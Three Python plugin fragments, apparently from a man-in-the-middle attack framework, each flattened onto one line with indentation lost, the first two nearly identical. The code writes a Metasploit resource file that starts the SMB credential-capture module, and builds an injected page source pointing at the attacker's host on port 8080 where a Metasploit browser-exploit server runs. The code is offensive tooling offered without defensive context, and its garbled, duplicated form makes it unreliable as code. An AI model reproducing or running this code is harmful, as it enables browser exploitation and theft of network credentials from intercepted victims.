def initialize(self, options): Inject.initialize(self, options) self.target_ip = options.msf_lhost self.html_payload = self._get_data() if options.start_auth_sniffer and options.msf_rc == "/tmp/tmp.rc": options.msf_user = "******" f = open(options.msf_rc, "a") f.write("use server/capture/smb\n") f.write("exploit -j\n") f.close()
def initialize(self,options): Inject.initialize(self,options) self.target_ip = options.msf_lhost self.html_payload = self._get_data() if options.start_auth_sniffer and options.msf_rc == "/tmp/tmp.rc": options.msf_user = "******" f = open(options.msf_rc,"a") f.write("use server/capture/smb\n") f.write("exploit -j\n") f.close()
def initialize(self,options): '''Called if plugin is enabled, passed the options namespace''' Inject.initialize(self,options) self.html_src = options.msf_uri self.js_src = options.js_url self.rate_limit = 2 if self.html_src == self.js_src == "" and not options.startmsf: if options.msf_uripath and options.msf_lhost: self.html_src = "http://%s:8080%s" %\ (options.msf_lhost,options.msf_uripath) else: from plugins.StartMSF import StartMSF StartMSF.initialize(options) self.html_src = "http://%s:8080/" % options.msf_lhost if options.startmsf: if not options.msf_lhost: options.msf_lhost = raw_input( "Local IP not provided. Please enter now: ") self.html_src = "http://%s:8080%s" %\ (options.msf_lhost,options.msf_uripath) print self.html_src